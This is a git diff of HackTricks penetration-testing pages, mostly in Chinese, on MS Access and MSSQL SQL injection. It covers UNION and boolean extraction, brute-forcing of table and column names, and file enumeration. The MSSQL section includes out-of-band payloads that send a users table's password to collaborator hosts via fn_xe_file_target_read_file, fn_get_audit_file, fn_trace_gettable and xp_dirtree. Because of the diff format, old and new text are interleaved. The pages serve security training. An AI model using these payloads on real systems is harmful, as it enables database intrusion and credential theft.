* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304) * [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91) * [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## Brute-Force Detection List ## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %} {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# MS Access SQL注入 # MS Access SQL Injection
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 在线游乐场 ## 在线游乐场
@ -22,14 +23,14 @@
### 字符串连接 ### 字符串连接
可以使用`& (%26)`和`+ (%2b)`字符进行字符串连接 字符串连接可以使用 `& (%26)` `+ (%2b)` 字符。
```sql ```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00 1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00 1' UNION SELECT 'web' %26 'app' FROM table%00
``` ```
### 注释 ### Comments
在 MS Access 中没有注释,但显然可以使用 NULL 字符来移除查询的最后一个字符 在 MS Access 中没有注释,但显然可以通过 NULL 字符删除查询的最后部分
```sql ```sql
1' union select 1,2 from table%00 1' union select 1,2 from table%00
``` ```
@ -37,39 +38,39 @@
```sql ```sql
1' UNION SELECT 1,2 FROM table WHERE ''=' 1' UNION SELECT 1,2 FROM table WHERE ''='
``` ```
### 堆叠查询 ### Stacked Queries
不支持。 它们支持。
### 限制 ### LIMIT
**`LIMIT`** 操作符 **未实现**。但是,可以使用 `TOP` 操作符将 SELECT 查询结果限制为**前 N 个表行**。`TOP` 接受一个整数作为参数,表示要返回的行数。 **`LIMIT`** 操作符 **未实现**。但是,可以使用 **`TOP` 操作符** 将 SELECT 查询结果限制为 **前 N 行**。`TOP` 接受一个整数作为参数,表示要返回的行数。
```sql ```sql
1' UNION SELECT TOP 3 attr FROM table%00 1' UNION SELECT TOP 3 attr FROM table%00
``` ```
就像使用 **`TOP`** 一样,您可以使用 **`LAST`**,它将从**末尾获取行** 就像 TOP 一样,你可以使用 **`LAST`** 来获取 **最后的行**
## UNION查询/子查询 ## UNION 查询/子查询
SQLi中通常您会希望以某种方式执行新查询以从其他表中提取信息。MS Access始终要求在**子查询或额外查询中指定`FROM`**。\ SQLi 中你通常会想以某种方式执行一个新查询以从其他表中提取信息。MS Access 总是要求在 **子查询或额外查询中指明 `FROM`**。\
因此,如果您想执行`UNION SELECT`或`UNION ALL SELECT`或在条件中使用括号执行`SELECT`,您总是**需要指定一个带有有效表名的`FROM`**。\ 因此,如果你想执行 `UNION SELECT``UNION ALL SELECT` 或在条件中使用括号的 `SELECT`,你总是 **需要指明一个有效的表名的 `FROM`**。\
因此,您需要知道一个**有效的表名** 因此,你需要知道一个 **有效的表名**
```sql ```sql
-1' UNION SELECT username,password from users%00 -1' UNION SELECT username,password from users%00
``` ```
### 链接等号 + 子字符串 ### Chaining equals + Substring
{% hint style="warning" %} {% hint style="warning" %}
这将允许您在不需要知道表名的情况下提取当前表的值。 这将允许您在不需要知道表名的情况下提取当前表的值。
{% endhint %} {% endhint %}
**MS Access** 允许使用**奇怪的语法**,例如**`'1'=2='3'='asd'=false`**。通常情况下SQL注入将位于**`WHERE`**子句中,我们可以利用这一点。 **MS Access** 允许 **奇怪的语法**,例如 **`'1'=2='3'='asd'=false`**。通常SQL 注入将位于 **`WHERE`** 子句中,我们可以利用这一点。
假设您在 MS Access 数据库中有一个 SQLi并且您知道或猜到一个**列名为用户名**,这是您想要**提取**的字段。您可以通过使用**`Mid`**函数获取子字符串,利用**布尔注入**来检查 Web 应用程序在使用链接等号技术时的不同响应,并可能提取内容。 想象一下,您在 MS Access 数据库中有一个 SQLi并且您知道或猜测某一 **列名是 username**,而这是您想要 **提取** 的字段。您可以检查在使用链式等号技术时Web 应用程序的不同响应,并可能使用 **`Mid`** 函数通过 **布尔注入** 提取内容。
```sql ```sql
'=(Mid(username,1,3)='adm')=' '=(Mid(username,1,3)='adm')='
``` ```
如果你知道要转储的**表名**和**列名**,可以使用`Mid`、`LAST`和`TOP`的组合来通过布尔SQLi**泄露所有信息** 如果你知道 **表的名称****列** 以进行转储,你可以使用 `Mid`、`LAST` 和 `TOP` 的组合通过布尔 SQLi **泄露所有信息**
```sql ```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')=' '=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
``` ```
@ -77,85 +78,59 @@ _Feel free to check this in the online playground._
### 暴力破解表名 ### 暴力破解表名
使用链接等号技术,您还可以使用以下方式**暴力破解表名** 使用链式等号技术,您还可以**暴力破解表名**,例如
```sql ```sql
'=(select+top+1+'lala'+from+<table_name>)=' '=(select+top+1+'lala'+from+<table_name>)='
``` ```
## MS Access SQL Injection 您还可以使用一种更传统的方法:
### Introduction
In Microsoft Access databases, SQL injection can be performed using the `UNION` keyword to retrieve data from other tables. This technique can be used to extract sensitive information from the database.
### Steps to Perform SQL Injection in MS Access
1. Identify the vulnerable input fields.
2. Use a SQL injection payload with the `UNION` keyword to retrieve data from other tables.
3. Determine the number of columns in the target table using `ORDER BY` clause.
4. Craft a SQL injection payload to extract data from the desired columns.
5. Use tools like SQLMap to automate the SQL injection process.
### Example
If the vulnerable query is `SELECT name, email FROM users WHERE id = '<VULNERABLE_INPUT>';`, the following payload can be used:
```sql
' UNION SELECT 1, username FROM admin--
```
This payload will retrieve the username from the `admin` table and display it in the results of the original query.
### Prevention
To prevent SQL injection in MS Access, use parameterized queries or stored procedures to validate and sanitize user input before executing SQL queries. Additionally, limit the privileges of database users to reduce the impact of a successful SQL injection attack.
```sql ```sql
-1' AND (SELECT TOP 1 <table_name>)%00 -1' AND (SELECT TOP 1 <table_name>)%00
``` ```
_Feel free to check this in the online playground._ _Feel free to check this in the online playground._
* Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt) * Sqlmap 常见表名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) * 另一个列表在 [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Brute-Forcing Columns names ### 暴力破解列名
您可以使用链接等于技巧**暴力破解当前列名** 您可以使用链式等号技巧**暴力破解当前列名**:
```sql ```sql
'=column_name=' '=column_name='
``` ```
使用 **group by** 或使用 **group by**
```sql ```sql
-1' GROUP BY column_name%00 -1' GROUP BY column_name%00
``` ```
或者您可以使用以下方法对**不同表**的列名进行暴力破解 或者你可以使用以下方法暴力破解**不同表**的列名:
```sql ```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)=' '=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00 -1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
``` ```
### 转储数据 ### Dumping data
我们已经讨论了[**链接等号技术**](ms-access-sql-injection.md#chaining-equals-+-substring) **从当前和其他表中转储数据**。但还有其他方法: 我们已经讨论过 [**链式等号技术**](ms-access-sql-injection.md#chaining-equals-+-substring) **从当前和其他表中转储数据**。但还有其他方法:
```sql ```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
``` ```
简而言之该查询使用“if-then”语句来触发成功时的“200 OK”否则触发“500 Internal Error”。利用TOP 10运算符可以选择前十个结果。随后使用LAST允许仅考虑第十个元组。在该值上使用MID运算符可以执行简单的字符比较。通过适当更改MID和TOP的索引我们可以获取所有行的“username”字段内容。 简而言之该查询使用“if-then”语句以便在成功时触发“200 OK”否则触发“500 Internal Error”。利用TOP 10运算符可以选择前十个结果。随后使用LAST仅考虑第十个元组。在该值上使用MID运算符可以进行简单的字符比较。通过适当更改MID和TOP的索引我们可以转储所有行的“username”字段内容。
### 基于时间 ### 基于时间
查看[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN) 查看 [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### 其他有趣的函数 ### 其他有趣的函数
* `Mid('admin',1,1)` 从位置1获取长度为1的子字符串初始位置为1 * `Mid('admin',1,1)` 从位置1获取长度为1的子字符串初始位置为1
* `LEN('1234')` 获取字符串长度 * `LEN('1234')` 获取字符串长度
* `ASC('A')` 获取字符的ASCII * `ASC('A')` 获取字符的ascii
* `CHR(65)` 根据ASCII值获取字符串 * `CHR(65)` 从ascii值获取字符串
* `IIF(1=1,'a','b')` if then * `IIF(1=1,'a','b')` 如果则
* `COUNT(*)` 计算项目数量 * `COUNT(*)` 计算项目数量
## 枚举表 ## 枚举表
从[**这里**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)可以看到一个获取表名的查询: [**这里**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)可以看到获取表名的查询:
```sql ```sql
select MSysObjects.name select MSysObjects.name
from MSysObjects from MSysObjects
@ -165,54 +140,55 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*' and MSysObjects.name not like 'MSys*'
order by MSysObjects.name order by MSysObjects.name
``` ```
然而,请注意,通常会发现SQL注入攻击其中**无法访问读取表`MSysObjects`** 然而,请注意,在您**无法访问读取表 `MSysObjects`** 的情况下,发现 SQL 注入是非常典型的
## 文件系统访问 ## 文件系统访问
### Web根目录完整路径 ### Web 根目录完整路径
了解**web根目录的绝对路径可能有助于进一步攻击**。如果应用程序错误没有完全隐藏,可以尝试从不存在的数据库中选择数据来揭示目录路径。 **Web 根绝对路径的知识可能会促进进一步的攻击**。如果应用程序错误没有完全隐藏,可以通过尝试从一个不存在的数据库中选择数据来揭示目录路径。
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` `http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access会以**包含Web目录完整路径的错误消息**做出响应 MS Access 会返回一个**包含 Web 目录完整路径名的错误消息**
### 文件枚举 ### 文件枚举
以下攻击向量可用于**推断远程文件系统上文件的存在**。如果指定的文件存在MS Access会触发一个错误消息,通知数据库格式无效: 以下攻击向量可用于**推断远程文件系统上文件的存在**。如果指定的文件存在MS Access 会触发一条错误消息,告知数据库格式无效:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
另一种枚举文件的方法是**指定数据库.表项**。**如果**指定的**文件存在**MS Access会显示一个**数据库格式错误消息**。 另一种枚举文件的方法是**指定一个 database.table 项目**。**如果**指定的**文件存在**MS Access 会显示一条**数据库格式错误消息**。
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00` `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb文件名猜测 ### .mdb 文件名猜测
可以使用以下查询来推断**数据库文件名(.mdb** **数据库文件名 (.mdb)** 可以通过以下查询推断
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
其中**name\[i\]是一个.mdb文件名****realTable是数据库中存在的表**。尽管MS Access总是会触发一个错误消息,但可以区分无效文件名和有效的.mdb文件名。 其中**name\[i] 是一个 .mdb 文件名****realTable 是数据库中存在的表**。尽管 MS Access 总是会触发一条错误消息,但可以区分无效文件名和有效的 .mdb 文件名。
### .mdb密码破解 ### .mdb 密码破解
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html)是一个免费实用程序可用于恢复Microsoft Access 95/97/2000/XP或Jet Database Engine 3.0/4.0的主数据库密码。 [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) 是一个免费实用程序,可用于恢复 Microsoft Access 95/97/2000/XP Jet Database Engine 3.0/4.0 的主数据库密码。
## 参考资料 ## 参考文献
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) * [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# MSSQL注入 # MSSQL 注入
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 活动目录枚举 ## Active Directory 枚举
能可以通过在MSSQL服务器内部进行SQL注入来**枚举域用户**使用以下MSSQL函数: 以通过 SQL 注入在 MSSQL 服务器中**枚举域用户**,使用以下 MSSQL 函数:
* **`SELECT DEFAULT_DOMAIN()`**:获取当前域名。 * **`SELECT DEFAULT_DOMAIN()`**:获取当前域名。
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**:如果您知道域的名称在此示例中为_DOMAIN此函数将以十六进制格式返回用户Administrator的**SID**。这将看起来像`0x01050000000[...]0000f401`,请注意**最后4个字节**是**500**,采用**大端**格式,这是**管理员用户的常见ID**。\ * **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**:如果你知道域的名称(在这个例子中是 _DOMAIN_),这个函数将返回**用户 Administrator 的 SID**,以十六进制格式显示。它看起来像 `0x01050000000[...]0000f401`,注意**最后 4 个字节**是**500**的**大端**格式,这是**用户管理员的常见 ID**。\
此函数将允许您**了解域的ID**除了最后4个字节)。 这个函数将允许你**知道域的 ID**(除了最后 4 个字节以外的所有字节)。
* **`SUSER_SNAME(0x01050000000[...]0000e803)`**此函数将返回指定ID的**用户名**(如果有的话),在这种情况下,**0000e803**以大端== **1000**通常是创建的第一个常规用户ID。然后您可以尝试从1000到2000暴力破解用户ID可能获取域用户的所有用户名。例如使用以下函数: * **`SUSER_SNAME(0x01050000000[...]0000e803)`**这个函数将返回**所指示 ID 的用户名**(如果有的话),在这种情况下**0000e803**的大端格式 == **1000**(通常这是创建的第一个常规用户 ID 的 ID。然后你可以想象你可以对用户 ID 从 1000 到 2000 进行暴力破解,可能会获取域中所有用户的用户名。例如,使用如下函数:
```python ```python
def get_sid(n): def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -29,9 +30,9 @@ user = struct.pack('<I', int(n))
user = user.hex() user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000 return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
``` ```
## **替代错误注入向量** ## **替代的基于错误的向量**
错误注入通常类似于构造,如 `+AND+1=@@version--` 和基于«OR»运算符的变体。包含这些表达式的查询通常会被 Web 应用防火墙WAF阻止。为了绕过阻止可以使用 %2b 字符与触发所需数据类型转换错误的特定函数调用的结果连接字符串 基于错误的SQL注入通常类似于`+AND+1=@@version--`这样的构造以及基于«OR»运算符的变体。包含此类表达式的查询通常会被WAF阻止。作为绕过方法使用%2b字符连接一个字符串与触发所需数据的数据类型转换错误的特定函数调用的结果。
一些此类函数的示例: 一些此类函数的示例:
@ -43,7 +44,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
* `TYPE_NAME()` * `TYPE_NAME()`
* `COL_NAME()` * `COL_NAME()`
使用函数 `USER_NAME()` 的示例: 函数`USER_NAME()`的示例用法
``` ```
https://vuln.app/getItem?id=1'%2buser_name(@@version)-- https://vuln.app/getItem?id=1'%2buser_name(@@version)--
``` ```
@ -51,11 +52,11 @@ https://vuln.app/getItem?id=1'%2buser_name(@@version)--
## SSRF ## SSRF
这些SSRF技巧[取自这里](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) 这些 SSRF 技巧 [来自这里](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
### `fn_xe_file_target_read_file` ### `fn_xe_file_target_read_file`
它需要服务器上的**`VIEW SERVER STATE`**权限。 它需要服务器上的 **`VIEW SERVER STATE`** 权限。
``` ```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)) https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
``` ```
@ -69,7 +70,7 @@ EXEC sp_helprotect 'fn_xe_file_target_read_file';
``` ```
### `fn_get_audit_file` ### `fn_get_audit_file`
需要 **`CONTROL SERVER`** 权限。 需要 **`CONTROL SERVER`** 权限。
``` ```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default))) https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
``` ```
@ -83,7 +84,7 @@ EXEC sp_helprotect 'fn_get_audit_file';
``` ```
### `fn_trace_gettabe` ### `fn_trace_gettabe`
需要 **`CONTROL SERVER`** 权限。 需要 **`CONTROL SERVER`** 权限。
``` ```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default)) https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
``` ```
@ -97,22 +98,21 @@ EXEC sp_helprotect 'fn_trace_gettabe';
``` ```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a> ### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
诸如 `xp_dirtree` 这样的存储过程虽然没有被微软官方文档记录但由于其在MSSQL中的网络操作中的实用性而被他人在网上描述。这些存储过程经常被用于带外数据泄露正如在各种[示例](https://www.notsosecure.com/oob-exploitation-cheatsheet/)和[帖子](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)中展示的那样 `xp_dirtree` 这样的存储过程,尽管没有被微软正式文档化,但由于其在 MSSQL 中网络操作的实用性,已被其他人在线描述。这些过程通常用于带外数据外泄,如各种 [示例](https://www.notsosecure.com/oob-exploitation-cheatsheet/) [帖子](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) 展示的。
例如,`xp_dirtree` 存储过程用于发起网络请求但仅限于TCP端口445。端口号不可修改但允许从网络共享中读取。以下是SQL脚本中的使用示例 例如,`xp_dirtree` 存储过程用于发起网络请求,但仅限于 TCP 端口 445。端口号不可修改但允许从网络共享读取。使用方法在下面的 SQL 脚本中演示
```sql ```sql
DECLARE @user varchar(100); DECLARE @user varchar(100);
SELECT @user = (SELECT user); SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"'); EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
``` ```
这种方法可能无法在所有系统配置上正常工作,例如在运行在默认设置下的 `Windows Server 2016 Datacenter` 上的 `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` 值得注意的是,这种方法可能并不适用于所有系统配置,例如在默认设置下运行的 `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)``Windows Server 2016 Datacenter`
此外,还有替代的存储过程,如 `master..xp_fileexist``xp_subdirs`,可以实现类似的结果。有关 `xp_fileexist` 的更多详细信息,请参阅此[TechNet文章](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)。
此外,还有其他存储过程,如 `master..xp_fileexist``xp_subdirs`,可以实现类似的结果。有关 `xp_fileexist` 的更多详细信息,请参阅这篇 [TechNet 文章](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)。
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a> ### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
显然,您也可以使用 **`xp_cmdshell`** 来 **执行** 一些触发 **SSRF** 的操作。有关更多信息,请在页面中阅读相关部分 显然,您也可以使用 **`xp_cmdshell`** 来 **执行** 触发 **SSRF** 的操作。有关更多信息,请 **阅读页面中的相关部分**
